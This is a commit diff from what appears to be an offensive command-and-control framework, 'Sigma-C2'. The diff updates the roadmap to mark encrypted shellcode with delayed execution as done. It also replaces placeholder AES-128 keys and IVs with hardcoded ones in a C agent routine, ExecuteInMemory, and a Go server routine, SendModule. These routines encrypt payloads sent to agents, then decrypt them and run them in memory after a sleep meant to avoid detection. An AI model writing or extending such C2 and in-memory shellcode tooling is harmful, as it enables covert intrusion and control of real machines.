Added "ps" command. TODO: add nice formating on operator side.
Prepare base for beacon in C, because GO executables are too big.
This commit is contained in:
@@ -104,7 +104,7 @@ Sigma-C2/agent/lib/wolfssl-compiled
|
||||
- ~~Basic tasks execution (cmd, powershell, sleep, load dll/shellcode, cleanup)~~
|
||||
- ~~Context switching in terminal~~
|
||||
- ~~File download/upload~~
|
||||
- Agent: encrypting shellcode and ~~delay before execution~~
|
||||
- ~~Encrypting shellcode and delay before execution~~
|
||||
- HTTPS listener with profiles
|
||||
- (Possibly) DNS comm channel for agent
|
||||
- Installation script
|
||||
|
||||
@@ -12,8 +12,8 @@
|
||||
void ExecuteInMemory(unsigned char* encryptedPayload, int payloadSize, int sleepTime) {
|
||||
printf("Payload size: %d\n", payloadSize);
|
||||
|
||||
unsigned char key[16] = "1234567890abcdef";
|
||||
unsigned char iv[16] = "fedcba0987654321";
|
||||
unsigned char key[16] = "sWDv47xwoMkg5gJY";
|
||||
unsigned char iv[16] = "6vdR2T6i7BSnpyg5";
|
||||
|
||||
if (sleepTime <= 0) sleepTime = 3000;
|
||||
Sleep(sleepTime);
|
||||
|
||||
@@ -25,8 +25,8 @@ func SendModule(agentConn net.Conn, agentID string, task *Task) {
|
||||
// Encrypt before sending
|
||||
var encPayload []byte
|
||||
var err error
|
||||
key := []byte("1234567890abcdef")
|
||||
iv := []byte("fedcba0987654321")
|
||||
key := []byte("sWDv47xwoMkg5gJY")
|
||||
iv := []byte("6vdR2T6i7BSnpyg5")
|
||||
|
||||
if encPayload, err = encryptAES128CTR(task.Payload, key, iv); err != nil {
|
||||
debugLog("Error ecnrypting: %v", err)
|
||||
|
||||
Reference in New Issue
Block a user